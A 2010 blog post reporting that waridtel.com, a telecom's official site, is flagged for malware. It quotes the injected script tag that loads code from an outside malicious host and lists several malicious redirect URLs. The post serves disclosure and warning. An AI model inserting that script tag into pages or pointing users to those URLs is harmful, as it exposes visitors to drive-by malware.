Warid’s Offical Website Security Got Compromised ?

By Usman Tahir on February 14, 2010

Hello there! If you are new here, you might want to subscribe to the RSS feed for updates on this topic.

This time has Warid’s security got compromised or it is playing with visitors. Visiting warid’s official website, you get a security alert that website contains malwares. Not actually warid’s site is marked as unsafe but another site to which warid is linking is marked as highly unsafe as per google.

As you open waridtel.com you get security alert as follows:

Warning: Visiting this site may harm your computer!

The website at www.waridtel.com contains elements from the site aravyn.extra.hu, which appears to host malware – software that can hurt your computer or otherwise operate without your consent. Just visiting a site that contains malware can infect your computer.

Click Here to view the full size image of above screen shot.

Now, the effected site is aravyn.extra.hu which is there in waridtel.com source code. Have a look at what happens when you open the infected site.

Click Here to view the full size image of above screen shot.

If you ignore the warning and still try to open the website, it redirects you to the following websites after warning on each.

http://aditigems.com/images/1/2/3/2.html
http://goscanwake.com/?uid=12501
http://natos.info/22/?uid=12501

and all of them are highly malicious websites as you get warning on each step.

Waridtel.com is directly linked to first mentioned website i.e. aravyn.extra.hu. Because as you look at the source code of waridtel.com

Click Here to view the full size image of above screen shot.

<script src=http://aravyn.extra.hu/administration/photogallery.php ></script>

As PHP files never show up in coding form, at user’s end they always show after execution so no one can see what exactly in the file except the webmaster. but according to the code, the link contains some script which loads at every page.

Whatsoever is in the script and its consequences, Warid’s website is clearly linking to an source website for no reason -apparently. May be someone might have injected the code into warid’s page or warid itself had some kind of connection to that website for content hosting but now became unsafe. Nothing can be said for sure at this point.

Warid has been notified regarding the issue, lets wait to have some official words from them on all this.

Via PKReaders